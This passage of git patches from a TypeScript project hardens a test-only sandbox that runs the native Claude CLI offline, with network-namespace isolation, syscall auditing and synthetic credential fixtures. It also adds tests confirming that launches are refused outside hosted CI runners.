DETERMINISM_REPORT, determinismFiles, proofProblems, PROOF_JOBS, unitFiles } from "../scripts/ci-proof"; @@ -429,6 +429,28 @@ test("standalone native measurement commands load the same offline boundary as t for (const script of ["measure-claude-runtime", "measure-claude-enforcement", "measure-claude-delegation", "measure-claude-capability", "measure-claude-haiku"]) { const command = commands.find(command => command.argv.join(" ").includes(`scripts/${script}.ts`)); expect(command, script).toBeDefined(); - expect(command!.argv.join(" ")).toContain(`bun --no-install --preload scripts/test-network-child-preload.ts scripts/${script}.ts`); + expect(command!.argv.join(" ")).toContain(`bun --no-install --preload ./scripts/test-network-child-preload.ts scripts/${script}.ts`); } }); + +test("native CLI command preload resolves as a file and latches refusal before any runtime launch", async () => { + const plan = planChecks(["scripts/test-network-guard.ts"], workspaces(ROOT)); + const command = localChecks(plan, true).find(command => command.name === "measure-claude-runtime")!; + const prefix = /bun (--no-install --preload \S+) scripts\/measure-claude-runtime\.ts/.exec(command.argv.at(-1)!)?.[1]; + expect(prefix).toBeDefined(); + const root = mkdtempSync(join(tmpdir(), "odysseus-cli-preload-")); directories.push(root); + const alias = join(root, "probe-runtime"), program = join(root, "refusal.ts"); + symlinkSync(process.execPath, alias); + writeFileSync(program, `import {nativeClaudeBoundary} from ${JSON.stringify(join(ROOT, "scripts/test-native-guard.ts"))}; + if(globalThis.fetch.name!=="offlineFetch")throw Error("offline preload was not installed"); + delete process.env.GITHUB_ACTIONS;delete process.env.RUNNER_ENVIRONMENT; + try{nativeClaudeBoundary("/synthetic/native",[],{});}catch{}process.exit(0);`); + // The alias is deliberately outside automatic Bun-child preload propagation. + // Use the actual configured CLI flags; the program never execs native Claude. + const child = Bun.spawn([alias, ...prefix!.split(" "), program], { cwd: ROOT, + env: { PATH: "/usr/bin:/bin", HOME: root }, stdout: "pipe", stderr: "pipe" }); + const [code, output] = await Promise.all([child.exited, new Response(child.stderr).text()]); + expect(code).not.toBe(0); + expect(output).toContain('"success":false,"nativeLaunched":false'); + expect(output).toContain("positive native proof requires a hosted runner"); +}); diff --git a/tests/native-offline-boundary.test.ts b/tests/native-offline-boundary.test.ts index 9935aec6f4..d1fa2d6aff 100644 --- a/tests/native-offline-boundary.test.ts +++ b/tests/native-offline-boundary.test.ts @@ -153,7 +153,7 @@ test("wrapper exec and auth inspection cannot fabricate native launch or injecte {cwd:${JSON.stringify(scratch)},env:{HOME:${JSON.stringify(scratch)},ANTHROPIC_BASE_URL:"http://127.0.0.1:1"}}); if(boundary.argv[0]!=="/synthetic/strace")throw Error("audit executable was not resolved"); const setup=boundary.argv.slice(0,boundary.argv.lastIndexOf("--")); - for(let i=0;i Date: Fri, 20 Nov 2026 20:52:28 +0000 Subject: [PATCH 021/187] fix(ci): preserve isolated measurement routes and synthetic auth cases --- scripts/measure-claude-runtime.ts | 4 +++- scripts/test-native-guard.ts | 21 ++++++++++++--------- tests/native-offline-boundary.test.ts | 27 +++++++++++++++++++++++++++ 3 files changed, 42 insertions(+), 10 deletions(-) diff --git a/scripts/measure-claude-runtime.ts b/scripts/measure-claude-runtime.ts index 6de8bc48f4..96f5dbdacd 100644 --- a/scripts/measure-claude-runtime.ts +++ b/scripts/measure-claude-runtime.ts @@ -931,11 +931,12 @@ async function credentialRows(model: ReturnType): Promise< BRAIN_UI_SUBPROCESS_ENV_EXTRA: "CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC", }); const worker = createMeasurementWorkerFixture(sc.cwd, sc.home); + const leaveRoute = nativeScriptedService(model.url); try { const backend = createClaudeBackend({ maintenance: worker.maintenance, brainPath: sc.cwd, - profiles: defineProfiles([{ id: "claude", label: "Claude", source: "builtin" }]), + profiles: defineProfiles([{ id: "claude", label: "Claude", source: "builtin", baseUrl: model.url }]), log: () => {}, }); await backend.startTurn({ @@ -945,6 +946,7 @@ async function credentialRows(model: ReturnType): Promise< bridge: { emit: () => {}, requestPermission: async () => ({ behavior: "deny", message: "probe" }) }, }); } finally { + leaveRoute(); worker.cleanup(); for (const key of Object.keys(process.env)) if (!(key in saved)) delete process.env[key]; Object.assign(process.env, saved); diff --git a/scripts/test-native-guard.ts b/scripts/test-native-guard.ts index 034a10fc6a..1b5cc9dd81 100644 --- a/scripts/test-native-guard.ts +++ b/scripts/test-native-guard.ts @@ -164,6 +164,14 @@ function testRuntimeMounts(): string[] { interface AuditReceipt { kind: "native-offline-audit"; head: string; nativeLaunched: boolean; success: boolean; reason?: string; deniedConnects: number } interface Boundary { argv: string[]; env: Record; dispose(): void; receipt(): AuditReceipt } +/** Retain only public synthetic credentials, including their absent/both cases. */ +function syntheticCredentials(env: Record): Record { + const result: Record = {}; + if (env.ANTHROPIC_API_KEY) result.ANTHROPIC_API_KEY = /^sk-ant-api03-([a-z])\1{94}AA$/.test(env.ANTHROPIC_API_KEY) ? env.ANTHROPIC_API_KEY : "offline-fixture"; + if (/^sk-ant-oat01-([a-z])\1{94}AA$/.test(env.CLAUDE_CODE_OAUTH_TOKEN ?? "")) result.CLAUDE_CODE_OAUTH_TOKEN = env.CLAUDE_CODE_OAUTH_TOKEN!; + return result; +} + /** Raw connect arguments are pointers/numbers: no addresses, paths or payloads. */ export function deniedNativeConnects(trace: string): number { return trace.split("\n").filter(line => /(?:connect\(|connect resumed>).*?= -1 (?:EACCES|EPERM|ENETUNREACH|EHOSTUNREACH|ECONNREFUSED|ENOENT)\b/.test(line)).length; @@ -261,20 +269,14 @@ export function nativeClaudeBoundary(command: string, args: string[], options: { ...(inheritedSocket && inheritedOrigin ? ["--ro-bind", inheritedSocket, "/tmp/native-relay/relay.sock", "--ro-bind", inheritedSocket, inheritedSocket] : []), ...(options.managedSettings ? ["--ro-bind", options.managedSettings, "/etc/claude-code"] : []), "--clearenv"]; const childEnv: Record = { HOME: home, CLAUDE_CONFIG_DIR: versionHome ?? env.CLAUDE_CONFIG_DIR ?? home, - PATH: "/usr/bin:/bin", LANG: "C.UTF-8", ANTHROPIC_API_KEY: "offline-fixture", + PATH: "/usr/bin:/bin", LANG: "C.UTF-8", ANTHROPIC_BASE_URL: "http://localhost", ANTHROPIC_UNIX_SOCKET: "/tmp/native-relay/relay.sock", CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC: "1", DISABLE_AUTOUPDATER: "1" }; // These are public model selectors, never ambient provider credentials. for (const key of ["ANTHROPIC_MODEL", "ANTHROPIC_DEFAULT_SONNET_MODEL", "ANTHROPIC_DEFAULT_OPUS_MODEL", "ANTHROPIC_DEFAULT_HAIKU_MODEL", "ANTHROPIC_SMALL_FAST_MODEL", "CLAUDE_CODE_SUBAGENT_MODEL", "CLAUDE_CODE_DISABLE_AUTO_MEMORY"]) { if (env[key]) childEnv[key] = env[key]!; } - if (/^sk-ant-api03-([a-z])\1{94}AA$/.test(env.ANTHROPIC_API_KEY ?? "")) childEnv.ANTHROPIC_API_KEY = env.ANTHROPIC_API_KEY!; - // The core runner's pinned synthetic OAuth fixture tests that auth route. - // No other ambient OAuth value may enter the native environment. - if (/^sk-ant-oat01-([a-z])\1{94}AA$/.test(env.CLAUDE_CODE_OAUTH_TOKEN ?? "")) { - delete childEnv.ANTHROPIC_API_KEY; - childEnv.CLAUDE_CODE_OAUTH_TOKEN = env.CLAUDE_CODE_OAUTH_TOKEN!; - } + Object.assign(childEnv, syntheticCredentials(env)); if (inheritedOrigin) Object.assign(childEnv, relayCredentialPlaceholders(env)); if (args.some((value, index) => value === "auth" && args[index + 1] === "status")) { // Auth status inspects the isolated fixture login; injecting an API key @@ -429,7 +431,8 @@ export function nativeWorkerBoundary(env: Record): { } argv.splice(bwrap + 1, 0, "--unshare-net", ...systemMounts(), ...testRuntimeMounts(), "--ro-bind", process.execPath, process.execPath); const pinned = { ANTHROPIC_BASE_URL: "http://localhost", ANTHROPIC_UNIX_SOCKET: socket && ownedOrigin ? socket : "/tmp/native-relay/relay.sock", - ...(ownedOrigin ? relayCredentialPlaceholders(launch.env ?? {}) : { ANTHROPIC_API_KEY: "offline-fixture", ANTHROPIC_AUTH_TOKEN: "", CLAUDE_CODE_OAUTH_TOKEN: "" }) }; + ANTHROPIC_API_KEY: "", ANTHROPIC_AUTH_TOKEN: "", CLAUDE_CODE_OAUTH_TOKEN: "", + ...(ownedOrigin ? relayCredentialPlaceholders(launch.env ?? {}) : syntheticCredentials(launch.env ?? {})) }; const separator = argv.indexOf("--", bwrap); argv.splice(separator, 0, "--ro-bind", bridge.directory, "/tmp/native-relay", "--ro-bind", join(bridge.directory, "passwd"), "/etc/passwd", "--ro-bind", join(bridge.directory, "group"), "/etc/group", diff --git a/tests/native-offline-boundary.test.ts b/tests/native-offline-boundary.test.ts index d1fa2d6aff..61ad14341a 100644 --- a/tests/native-offline-boundary.test.ts +++ b/tests/native-offline-boundary.test.ts @@ -162,6 +162,33 @@ test("wrapper exec and auth inspection cannot fabricate native launch or injecte } finally { rmSync(scratch, { recursive: true, force: true }); } }); +test("isolated plans preserve synthetic credential precedence and an unauthenticated row", async () => { + const scratch = mkdtempSync(join(tmpdir(), "odysseus-auth-plan-")); + try { + const result = await probe(`${imports} + import {writeFileSync} from "node:fs"; + import {nativeWorkerBoundary,nativeScriptedService} from ${JSON.stringify(join(ROOT, "scripts/test-native-guard.ts"))}; + const spawnSync=Bun.spawnSync,which=Bun.which; + Bun.which=((command,options)=>command==="strace"?"/synthetic/strace":which(command,options)); + Bun.spawnSync=((argv,options)=>["bwrap","strace"].includes(argv[0])?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(spawnSync,Bun,[argv,options])); + process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted"; + const key="sk-ant-api03-"+"k".repeat(95)+"AA",token="sk-ant-oat01-"+"o".repeat(95)+"AA"; + const leave=nativeScriptedService("http://127.0.0.1:1"); + for(const creds of [{},{ANTHROPIC_API_KEY:key},{CLAUDE_CODE_OAUTH_TOKEN:token},{ANTHROPIC_API_KEY:key,CLAUDE_CODE_OAUTH_TOKEN:token}]){ + const boundary=nativeClaudeBoundary(${JSON.stringify(runtime)},[],{cwd:${JSON.stringify(scratch)},env:{HOME:${JSON.stringify(scratch)},ANTHROPIC_BASE_URL:"http://127.0.0.1:1",...creds}}); + const injected={};for(let i=0;i { const scratch = mkdtempSync(join(tmpdir(), "odysseus-unowned-relay-")); const socket = join(scratch, "relay.sock"); From 02bb1145b48b72b8e15f0911630a040f3b3652a0 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Fri, 20 Nov 2026 21:08:46 +0000 Subject: [PATCH 022/187] fix(ci): isolate and audit the existing separate-UID native launcher --- docs/process/testing.md | 5 ++ .../tests/claude-runner-subscription.test.ts | 2 + .../tests/fixtures/ordinary-identity-ws.ts | 5 +- packages/ui-sdk/tests/worker-launcher.test.ts | 12 +-- scripts/measure-claude-delegation.ts | 4 +- scripts/measure-claude-enforcement.ts | 3 +- scripts/measure-claude-haiku.ts | 4 +- scripts/measure-claude-runtime.ts | 3 +- scripts/native-proof/guard-environment.ts | 11 +++ scripts/prove-native-host.ts | 3 +- scripts/prove-reference-pool.ts | 3 +- scripts/prove-worker-identity.ts | 3 +- scripts/test-native-guard.ts | 78 +++++++++++++++---- scripts/test-network-guard.ts | 1 + tests/docker-bind-stability.test.ts | 17 ++++ tests/native-offline-boundary.test.ts | 55 +++++++++++++ 16 files changed, 180 insertions(+), 29 deletions(-) create mode 100644 scripts/native-proof/guard-environment.ts diff --git a/docs/process/testing.md b/docs/process/testing.md index 760f189528..f9fe2508ec 100644 --- a/docs/process/testing.md +++ b/docs/process/testing.md @@ -1147,6 +1147,11 @@ Restricted fixture code declares its scripted origin with and pins all handler fetch/TCP/Unix transports to it. Socket ownership alone is never admission: a pre-existing, unregistered relay refuses. SDK runtime discovery includes every workspace owner and refuses unresolved declared SDKs. +For the existing separate-UID identity supervisor, the guard transforms its +concrete nested launcher. Tracing starts after the UID handoff and stays outside +an inner native mount/PID view that hides the audit storage. Offline proof +containers inherit hosted-runner qualification only from an actual hosted run, +plus the exact checkout head for receipts when Git metadata is not mounted. No production authentication or managed-policy behavior changes. `tests/native-offline-boundary.test.ts` proves local refusal with harmless diff --git a/packages/core/tests/claude-runner-subscription.test.ts b/packages/core/tests/claude-runner-subscription.test.ts index a7a947db6f..333cccda56 100644 --- a/packages/core/tests/claude-runner-subscription.test.ts +++ b/packages/core/tests/claude-runner-subscription.test.ts @@ -13,6 +13,7 @@ import { afterAll, afterEach, beforeAll, describe, expect, test } from "bun:test import { existsSync, mkdirSync, mkdtempSync, rmSync, symlinkSync, writeFileSync } from "node:fs"; import { tmpdir } from "node:os"; import { dirname, join } from "node:path"; +import { nativeScriptedService } from "../../../scripts/test-native-guard"; import { claudeRunner } from "../src/providers/agents/cli-runners"; import { ClaudeSubscriptionError } from "../src/providers/agents/claude-subscription"; @@ -101,6 +102,7 @@ interface Setup { /** A fresh HOME, config dir and repo, with the given credentials in process.env. */ function arrange(setup: Setup): { repo: string } { + nativeScriptedService(`http://127.0.0.1:${server.port}`); const home = tempDir("runner-home-"); const configDir = join(home, ".claude"); mkdirSync(configDir, { recursive: true }); diff --git a/packages/ui-sdk/tests/fixtures/ordinary-identity-ws.ts b/packages/ui-sdk/tests/fixtures/ordinary-identity-ws.ts index 42976bf2cc..ad459cd1fa 100644 --- a/packages/ui-sdk/tests/fixtures/ordinary-identity-ws.ts +++ b/packages/ui-sdk/tests/fixtures/ordinary-identity-ws.ts @@ -1,3 +1,4 @@ +import { query } from "@anthropic-ai/claude-agent-sdk"; import { defaultIdentityPhase } from "./default-identity-phases.js"; import { installDbRepeatObservation, repeatWarmIndex } from "./db-repeat-observation.js"; import { installBootPruneCapture } from "./boot-prune-capture.js"; @@ -13,6 +14,7 @@ import { createPrincipal } from "../../../ui-server/src/db/principals.js"; import { createClaudeBackend } from "../../../ui-backend-claude/src/backend.js"; import { nativeModelReply } from "../../../ui-backend-claude/tests/helpers/native-model-reply.js"; import { serializeSigned } from "hono/utils/cookie"; +import { nativeScriptedService, nativeScriptedQuery } from "../../../../scripts/test-native-guard.ts"; const sharedGit = new URL(import.meta.url).searchParams.has("shared-git"); const bootPruneCapture = sharedGit && process.argv.includes("--boot-prune-capture"); @@ -36,13 +38,14 @@ const provider = Bun.serve({ hostname: "127.0.0.1", port: 0, async fetch(request requests.push({ model: body.model, history: body.messages.length, apiCredential: request.headers.get("x-api-key") === "odysseus-fictional-api-key" }); return nativeModelReply(); } }); -const backend = createClaudeBackend({ brainPath: brain, profiles: [{ id: "odysseus-haiku", label: "Odysseus Haiku", billing: "api", +const backend = createClaudeBackend({ brainPath: brain, queryFn: nativeScriptedQuery(query, provider.url.origin), profiles: [{ id: "odysseus-haiku", label: "Odysseus Haiku", billing: "api", requiredEnvKeys: [], model: "claude-haiku-4-5", buildEnv: () => ({ ANTHROPIC_BASE_URL: provider.url.origin, ANTHROPIC_API_KEY: "odysseus-fictional-api-key", HOME: home, CLAUDE_CONFIG_DIR: config, PATH: "/usr/local/bin:/usr/bin:/bin", CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC: "1", DISABLE_AUTOUPDATER: "1" }) }], log() {} }); const backendProfiles: Array = []; const admissionReads: Array[0]["bridge"]["admissionSafety"]>["read"]>> = []; const observedBackend = { ...backend, startTurn(request: Parameters[0]) { + nativeScriptedService(provider.url.origin); backendProfiles.push(request.workerSandbox?.profile); // Observe the real host gate synchronously, returning each original read // unchanged. Native refusals otherwise collapse to a generic HTTP 403. diff --git a/packages/ui-sdk/tests/worker-launcher.test.ts b/packages/ui-sdk/tests/worker-launcher.test.ts index fcd2719afa..a17bda54ff 100644 --- a/packages/ui-sdk/tests/worker-launcher.test.ts +++ b/packages/ui-sdk/tests/worker-launcher.test.ts @@ -157,7 +157,7 @@ os.execve(${JSON.stringify(boot.command[0])}, ${JSON.stringify(boot.command)}, $ } finally { closeSync(fd); pipes.cleanup(); f.cleanup(); } }); - test("actual configured-brain probe passes and removes all disposable sentinels", () => { + test("actual configured-brain probe passes and removes all disposable sentinels", async () => { const f = fixture(); try { expect(probeWorkerHost(f.brain)).toEqual({ ok: true }); @@ -166,13 +166,13 @@ os.execve(${JSON.stringify(boot.command[0])}, ${JSON.stringify(boot.command)}, $ const versions = Object.fromEntries(["@anthropic-ai/claude-agent-sdk", "@earendil-works/pi-coding-agent", "@schlessera/brain-backend-claude", "@schlessera/brain-backend-pi"].map(name => [name, JSON.parse(readFileSync(join(ROOT, "node_modules", name, "package.json"), "utf8")).version])); - // The native observer is outside the JS network guard. Its version-only - // execution gets a denied network namespace and read-only host root. - const native = Bun.spawnSync([Bun.which("bwrap")!, "--unshare-net", "--ro-bind", "/", "/", "--proc", "/proc", "--dev", "/dev", + // Version observation uses the same qualified native boundary as SDK turns. + const native = Bun.spawn([ join(ROOT, "node_modules", `@anthropic-ai/claude-agent-sdk-linux-${process.arch}`, "claude"), "--version"], { env: {}, stdout: "pipe", stderr: "pipe" }); - expect(native.exitCode).toBe(0); - versions["claude-code"] = native.stdout.toString().trim(); + const [code, version] = await Promise.all([native.exited, new Response(native.stdout).text()]); + expect(code).toBe(0); + versions["claude-code"] = version.trim(); const mount = Bun.spawnSync([Bun.which("findmnt")!, "--target", f.brain, "--noheadings", "--output", "FSTYPE"]); expect(mount.exitCode).toBe(0); const tuple = { architecture: process.arch, kernel: release(), bun: Bun.version, diff --git a/scripts/measure-claude-delegation.ts b/scripts/measure-claude-delegation.ts index 971fcf90c1..90caa215c4 100644 --- a/scripts/measure-claude-delegation.ts +++ b/scripts/measure-claude-delegation.ts @@ -1,4 +1,4 @@ -import { nativeScriptedService } from "./test-native-guard.ts"; +import { nativeScriptedService, nativeScriptedQuery } from "./test-native-guard.ts"; // #1213: production enforcement and foreground rewrite inherited by a real subagent. // Run with only loopback enabled. All credentials and commands are controlled fixtures. import assert from "node:assert/strict"; @@ -101,7 +101,7 @@ nativeScriptedService(server.url.origin); try { const profile: InferenceProfile = { id: "fixture", label: "Fixture", model: "claude-sonnet-5-5", billing: "api", requiredEnvKeys: [], buildEnv: () => ({ ...CLEARED_API_CREDENTIALS, ANTHROPIC_BASE_URL: `http://127.0.0.1:${server.port}`, ANTHROPIC_API_KEY: "offline-fixture", CLAUDE_CODE_OAUTH_TOKEN: "", CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC: "1" }) }; - const backend = createClaudeBackend({ brainPath: cwd, maintenance: worker.maintenance, profiles: [profile], allowedTools: allowChild ? ["Agent", "Bash"] : ["Agent"], queryFn: observed, log: () => { } }); + const backend = createClaudeBackend({ brainPath: cwd, maintenance: worker.maintenance, profiles: [profile], allowedTools: allowChild ? ["Agent", "Bash"] : ["Agent"], queryFn: nativeScriptedQuery(observed, server.url.origin), log: () => { } }); await backend.startTurn({ ...worker.request, prompt: "Delegate the controlled fixture call.", profileId: "fixture", signal: controller.signal, enforceAllowedTools: true, bridge: { emit: () => { }, requestPermission: async (request) => { approvals.push(request); return { behavior: "deny", message: "delegated-fixture-denied" }; } } }); assert.equal(mainSent, true, "the main CLI must execute the planned Agent call"); diff --git a/scripts/measure-claude-enforcement.ts b/scripts/measure-claude-enforcement.ts index f10d389262..25abc6f7ae 100644 --- a/scripts/measure-claude-enforcement.ts +++ b/scripts/measure-claude-enforcement.ts @@ -1,3 +1,4 @@ +import { nativeScriptedQuery } from "./test-native-guard.ts"; // #901: real production wiring, real CLI, scripted loopback inference. // Run in the same loopback-only network namespace as measure-claude-runtime. // The query wrapper observes existing handlers and messages; it forwards their @@ -114,7 +115,7 @@ try { const profile: InferenceProfile = { id: "probe", label: "Probe", model: "claude-sonnet-4-6", billing: "api", requiredEnvKeys: [], buildEnv: () => ({ ...CLEARED_API_CREDENTIALS, ANTHROPIC_BASE_URL: model.url, ANTHROPIC_API_KEY: "offline-fixture", CLAUDE_CODE_OAUTH_TOKEN: "", CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC: "1" }) }; - const backend = createClaudeBackend({ brainPath: cwd, maintenance: worker.maintenance, profiles: [profile], allowedTools: arm === "allowlisted" ? ["Bash"] : [], queryFn: observedQuery, log: () => {} }); + const backend = createClaudeBackend({ brainPath: cwd, maintenance: worker.maintenance, profiles: [profile], allowedTools: arm === "allowlisted" ? ["Bash"] : [], queryFn: nativeScriptedQuery(observedQuery, model.url), log: () => {} }); await backend.startTurn({ ...worker.request, prompt: "Run the planned tool call.", profileId: "probe", signal: controller.signal, enforceAllowedTools: scenario !== "manual-default", bridge: { emit: () => {}, requestPermission: async (request) => { requests.push(request); diff --git a/scripts/measure-claude-haiku.ts b/scripts/measure-claude-haiku.ts index 559f7c3046..2da388d106 100644 --- a/scripts/measure-claude-haiku.ts +++ b/scripts/measure-claude-haiku.ts @@ -1,4 +1,4 @@ -import { nativeScriptedService } from "./test-native-guard"; +import { nativeScriptedService, nativeScriptedQuery } from "./test-native-guard"; // #1238: actual bundled runtime, production model assembly, fixture inference. // Run inside a network namespace with only loopback. No real credentials. import assert from "node:assert/strict"; @@ -87,7 +87,7 @@ try { } const frames: Array<{ type: string; outcome?: string; message?: string }> = []; worker = createMeasurementWorkerFixture(brainPath, root); - const backend = createClaudeBackend({ brainPath, maintenance: worker.maintenance, profiles, queryFn: observedQuery, allowedTools: [], log: () => {} }); + const backend = createClaudeBackend({ brainPath, maintenance: worker.maintenance, profiles, queryFn: nativeScriptedQuery(observedQuery, server.url.origin), allowedTools: [], log: () => {} }); await backend.startTurn({ ...worker.request, profileId: model, prompt: "Reply with the fictional fixture sentence.", signal: controller.signal, bridge: { emit: frame => frames.push(frame), requestPermission: async () => ({ behavior: "deny", message: "No tools in this measurement." }) } }); assert.equal(frames.at(-1)?.outcome, "success", JSON.stringify(frames.at(-1))); diff --git a/scripts/measure-claude-runtime.ts b/scripts/measure-claude-runtime.ts index 96f5dbdacd..ae412353fc 100644 --- a/scripts/measure-claude-runtime.ts +++ b/scripts/measure-claude-runtime.ts @@ -1,4 +1,4 @@ -import { nativeScriptedService } from "./test-native-guard.ts"; +import { nativeScriptedService, nativeScriptedQuery } from "./test-native-guard.ts"; // Re-measures the Claude Code runtime behaviours the permission design rests // on, against whatever SDK and CLI this workspace installs (#209, // docs/decisions/claude-code-runtime.md, "Re-checking a measured behaviour @@ -935,6 +935,7 @@ async function credentialRows(model: ReturnType): Promise< try { const backend = createClaudeBackend({ maintenance: worker.maintenance, + queryFn: nativeScriptedQuery(query, model.url), brainPath: sc.cwd, profiles: defineProfiles([{ id: "claude", label: "Claude", source: "builtin", baseUrl: model.url }]), log: () => {}, diff --git a/scripts/native-proof/guard-environment.ts b/scripts/native-proof/guard-environment.ts new file mode 100644 index 0000000000..de5e92f1f7 --- /dev/null +++ b/scripts/native-proof/guard-environment.ts @@ -0,0 +1,11 @@ +/** Propagate qualification context, never credentials, into offline proof containers. */ +import { resolve } from "node:path"; + +export function nativeGuardEnvironment(): string[] { + const git = Bun.spawnSync(["git", "rev-parse", "HEAD"], { cwd: resolve(import.meta.dir, "../.."), stdout: "pipe", stderr: "pipe" }); + const head = git.stdout.toString().trim(); + if (git.exitCode !== 0 || !/^[0-9a-f]{40}$/.test(head)) throw Error("Native proof requires an exact checkout head"); + return [`--env=BRAIN_NATIVE_TEST_HEAD=${head}`, + ...(process.env.GITHUB_ACTIONS === "true" && process.env.RUNNER_ENVIRONMENT === "github-hosted" + ? ["--env=GITHUB_ACTIONS=true", "--env=RUNNER_ENVIRONMENT=github-hosted"] : [])]; +} diff --git a/scripts/prove-native-host.ts b/scripts/prove-native-host.ts index 4e1aec2a78..3b21bd0f18 100644 --- a/scripts/prove-native-host.ts +++ b/scripts/prove-native-host.ts @@ -5,13 +5,14 @@ import { verifyIndexReleaseReproduction } from "./native-proof/verify-index-rele import { EXPECTED_FAILURE_PREFIX, runExpectedFailureControl } from "./expected-failure-log.js"; import { ownedCleanupComplete } from "./native-proof/verify-owned-remove.js"; +import { nativeGuardEnvironment } from "./native-proof/guard-environment.ts"; export const NATIVE_PROOF_IMAGE = "brain-kit-native-runtime:1"; export const NATIVE_PROOF_NAME = "native managed hosted admission"; export function nativeHostDockerArgs(root: string, artifact: string, uid: string, backend: string, apparmor: boolean, retainIndexNamespace: boolean, bun: string, applyTiming = false, observationTiming = false): string[] { const lease = join(root, "tmp", "workspace-operation"); - return ["docker", "run", "--rm", "--pull=never", "--network=none", + return ["docker", "run", "--rm", "--pull=never", "--network=none", ...nativeGuardEnvironment(), ...(retainIndexNamespace ? ["--env=BRAIN_NATIVE_PROOF_RETAIN_INDEX_NAMESPACE=1"] : []), ...(applyTiming ? ["--env=BRAIN_NATIVE_PROOF_APPLY_TIMING=1"] : []), ...(observationTiming ? ["--env=BRAIN_NATIVE_PROOF_OBSERVATION_TIMING=1"] : []), diff --git a/scripts/prove-reference-pool.ts b/scripts/prove-reference-pool.ts index 54c9374880..17e2111058 100644 --- a/scripts/prove-reference-pool.ts +++ b/scripts/prove-reference-pool.ts @@ -2,10 +2,11 @@ import { chmodSync, mkdtempSync, mkdirSync, realpathSync } from "node:fs"; import { basename, dirname, join, resolve } from "node:path"; import { NATIVE_PROOF_IMAGE } from "./prove-native-host.js"; +import { nativeGuardEnvironment } from "./native-proof/guard-environment.ts"; /** `integrated` runs the app-level proof of #2751 on the same owned volumes, for the named backends. */ export function referencePoolDockerArgs(root: string, artifact: string, apparmor: boolean, bun: string, integrated?: { backends: string[] }, candidate?: string): string[] { - return ["docker", "run", "--rm", "--pull=never", "--network=none", "--cap-drop=ALL", + return ["docker", "run", "--rm", "--pull=never", "--network=none", ...nativeGuardEnvironment(), "--cap-drop=ALL", // The efficiency report (#3513) names the exact candidate it measured. ...(candidate ? [`--env=BRAIN_PROOF_CANDIDATE=${candidate}`] : []), ...(integrated ? [`--env=BRAIN_REFERENCE_INTEGRATION_BACKENDS=${integrated.backends.join(",")}`] : []), diff --git a/scripts/prove-worker-identity.ts b/scripts/prove-worker-identity.ts index ee5b75ac6a..8173475917 100644 --- a/scripts/prove-worker-identity.ts +++ b/scripts/prove-worker-identity.ts @@ -9,6 +9,7 @@ import { ownedPruneVariant, ownedPruneDiagnosticSelected, bootPruneCaptureVarian import { dbRepeatStageVariant } from "./native-proof/db-repeat-variant.js"; import { NATIVE_PROOF_IMAGE } from "./prove-native-host.js"; import { WORKER_FILESYSTEM_FILTER_PROGRAM } from "../packages/ui-sdk/src/server/worker-filesystem-filter.js"; +import { nativeGuardEnvironment } from "./native-proof/guard-environment.ts"; /** Fixed, diagnostic-only source variant; never changes the checked-out product files. */ export function collectorInventoryVariant(collectorSource: string, hostSource: string) { @@ -67,7 +68,7 @@ process.exitCode = code; export function workerIdentityDockerArgs(source: string, artifact: string, container: string, image: string, apparmor: boolean, variants: { db: boolean; boot: boolean; prune: boolean; inventory: boolean; scratch: boolean }, bun: string): string[] { const capabilities = ["SYS_ADMIN", "SYS_CHROOT", "MKNOD", "DAC_OVERRIDE", "FOWNER", "KILL", "CHOWN", "SETUID", "SETGID"]; - return ["docker", "run", "--name", container, "--rm", "--pull=never", "--network=none", "--cap-drop=ALL", ...capabilities.map(cap => `--cap-add=${cap}`), + return ["docker", "run", "--name", container, "--rm", "--pull=never", "--network=none", ...nativeGuardEnvironment(), "--cap-drop=ALL", ...capabilities.map(cap => `--cap-add=${cap}`), `--security-opt=seccomp=${join(source, "scripts/native-proof/seccomp.json")}`, ...(apparmor ? ["--security-opt=apparmor=brain-kit-native-proof"] : []), "--security-opt=systempaths=unconfined", "--device=/dev/loop-control", "--device-cgroup-rule=b 7:1790 rwm", "--mount", `type=bind,source=${dirname(artifact)},target=/proof-runs`, diff --git a/scripts/test-native-guard.ts b/scripts/test-native-guard.ts index 1b5cc9dd81..903435125b 100644 --- a/scripts/test-native-guard.ts +++ b/scripts/test-native-guard.ts @@ -1,12 +1,15 @@ /** Test-only OS boundary for installed native Claude processes (#4313). */ -import { closeSync, existsSync, lstatSync, openSync, readFileSync, readSync, readdirSync, statSync, mkdtempSync, readlinkSync, realpathSync, rmSync, writeFileSync } from "node:fs"; +import { chmodSync, closeSync, existsSync, lstatSync, openSync, readFileSync, readSync, readdirSync, statSync, mkdtempSync, readlinkSync, realpathSync, rmSync, writeFileSync } from "node:fs"; import { AsyncLocalStorage } from "node:async_hooks"; import { createHash } from "node:crypto"; import { createRequire } from "node:module"; import { tmpdir } from "node:os"; import { basename, dirname, join, resolve } from "node:path"; +import type { query as sdkQuery } from "@anthropic-ai/claude-agent-sdk"; const ROOT = resolve(import.meta.dir, ".."); +// Fixed Git metadata only. Discovery refusal must not recurse through admission. +const metadataSpawnSync = Bun.spawnSync.bind(Bun); const SYSTEM = ["/usr", "/bin", "/sbin", "/lib", "/lib32", "/lib64", "/libx32"]; const within = (root: string, path: string) => path === root || path.startsWith(`${root}/`); let qualified = false; @@ -21,9 +24,13 @@ export function assertNoNativeRefusals(): void { let head: string | undefined; function receiptHead(): string { if (head) return head; - const result = Bun.spawnSync(["git", "rev-parse", "HEAD"], { cwd: ROOT, env: { PATH: "/usr/bin:/bin", GIT_CONFIG_GLOBAL: "/dev/null", GIT_CONFIG_SYSTEM: "/dev/null" }, stdout: "pipe", stderr: "pipe" }); - const value = result.stdout.toString().trim(); - return head = result.exitCode === 0 && /^[0-9a-f]{40}$/.test(value) ? value : "unavailable"; + let value = ""; + try { + const result = metadataSpawnSync(["git", "rev-parse", "HEAD"], { cwd: ROOT, env: { PATH: "/usr/bin:/bin", GIT_CONFIG_GLOBAL: "/dev/null", GIT_CONFIG_SYSTEM: "/dev/null" }, stdout: "pipe", stderr: "pipe" }); + if (result.exitCode === 0) value = result.stdout.toString().trim(); + } catch { /* Containers carry the exact checkout identity without Git metadata. */ } + return head = 